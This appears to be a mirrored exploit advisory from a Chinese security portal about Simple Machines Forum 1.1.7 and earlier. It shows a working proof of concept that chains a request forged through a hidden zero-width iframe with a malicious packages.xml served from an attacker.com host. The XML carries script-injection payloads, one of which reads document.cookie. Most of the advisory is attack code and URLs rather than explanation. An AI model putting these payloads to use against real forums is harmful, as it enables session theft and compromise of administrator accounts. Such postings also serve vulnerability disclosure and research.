首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
来源:vfocus.net 作者:vfocus 发布时间:2009-02-02  
Author: Xianur0
Vulnerable Version: All

The Bug is located in the file: Sources/PackageGet.php

Example:
http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com

When the admin link between the SMF to load the file:

http://attacker.com/packages.xml

Save this file as packages.xml

<?xml version="1.0"?>
<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list">
<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
XSRF SMF PoC By Xianur0
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->

<package-list xmlns="http://www.simplemachines.org/xml/package-list"
xmlns:smf="http://www.simplemachines.org/">
<list-title>Xianur0 Was Here</list-title>

<section>
    <title>SMF XSS PoC By Xianur0</title>
    <text><![CDATA[<script>alert('XSS')</script>]]></text>
    <modification>
        <id>Xianur0:XSMF</id>
        <name>SMF PoC By Xianur0</name>
        <filename>smfexploit.zip</filename>
        <version>0.1</version>
        <author email="uxmal666@gmail.com">Xianur0</author>
        <description><![CDATA[<script>alert(document.cookie)</script>]]></description>
    </modification>
</section>
</package-list>

and generate the XSRF:

<iframe src ="http://victim.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com"
width="0%" scrolling=no width=0%></iframe>

# [2009-01-26]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SunOS Release 5.11 Version snv
·ITLPoll 2.7 Stable2 (index.php
·EPOLL SYSTEM 3.1 (password.dat
·FlexCell Grid Control 5.6.9 Re
·OpenGoo 1.1 (script_class) Loc
·MW6 Barcode ActiveX (Barcode.d
·Flax Article Manager 1.1 (cat_
·HtmlCapture ActiveX Control 2.
·Web-Calendar Lite 1.0 (Auth By
·NCTVideoStudio ActiveX DLLs 1.
·Mambo com_sim v0.8 Blind SQL I
·E-ShopSystem Auth Bypass / SQL
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved